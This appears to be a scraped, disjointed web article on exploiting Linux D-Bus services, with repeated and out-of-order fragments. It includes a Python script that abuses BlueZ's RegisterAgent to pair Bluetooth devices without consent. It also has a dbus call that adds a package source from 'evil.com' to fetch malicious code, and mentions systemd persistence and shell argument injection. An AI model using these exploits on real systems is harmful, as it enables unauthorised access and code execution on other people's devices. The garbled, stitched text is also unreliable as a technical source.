Exploit: Dbus-1.0

The vendor copied policy files from an old BlueZ version that trusted user="root" only, but they ran the Bluetooth daemon as root and forgot to add <deny user="*"/> for sensitive methods. The RegisterAgent method does not check if the caller has the CAP_NET_ADMIN capability. Part 5: Persistence and Lateral Movement Once you have D-Bus method execution on a privileged service, persistence becomes elegant. The Systemd Trap Systemd exposes org.freedesktop.systemd1.Manager on the system bus. A successful exploit chain can call:

<policy user="nobody"> <allow own="com.vulnerable.Service"/> <allow send_destination="com.vulnerable.Service"/> </policy> If the policy is too permissive (e.g., allow user="*" ), any unprivileged local user can interact with a root-owned service. Before writing exploits, you need reconnaissance. The standard tool is busctl (from systemd) or the older gdbus . Silent Reconnaissance As an unprivileged user, you can list all services on the system bus without any authentication: dbus-1.0 exploit

import asyncio from dbus_next.aio import MessageBus from dbus_next import Message, MessageType, Variant async def bluetooth_exploit(): # Connect to the system bus bus = await MessageBus(bus_type='system').connect() The vendor copied policy files from an old

if reply.message_type == MessageType.ERROR: print(f"Standard property set failed: {reply.body[0]}") # Fallback to a known legacy method legacy_msg = Message( destination='org.bluez', path='/org/bluez/hci0', interface='org.bluez.AgentManager1', member='RegisterAgent', signature='os', body=['/org/bluez/hci0/my_agent', 'NoInputNoOutput'] ) await bus.call(legacy_msg) print("Registered legacy agent, now able to pair without consent.") asyncio.run(bluetooth_exploit()) The Systemd Trap Systemd exposes org

import dbus bus = dbus.SystemBus() proxy = bus.get_object('com.ubuntu.SoftwareProperties', '/com/ubuntu/SoftwareProperties') proxy.add_source('deb http://evil.com/deb ./', 'malicious', dbus_interface='com.ubuntu.SoftwareProperties') Modern D-Bus requires PolicyKit (polkit) for such actions, but many embedded devices disable this for performance. Vector 2: Argument Injection via Type Confusion D-Bus supports rich types: STRING , INT32 , ARRAY , DICT , and VARIANT . Historically, services that unsafely cast these to shell commands are vulnerable.

busctl --system tree org.bluez We find /org/bluez/hci0/dev_XX_XX_XX_XX_XX_XX – a connected device.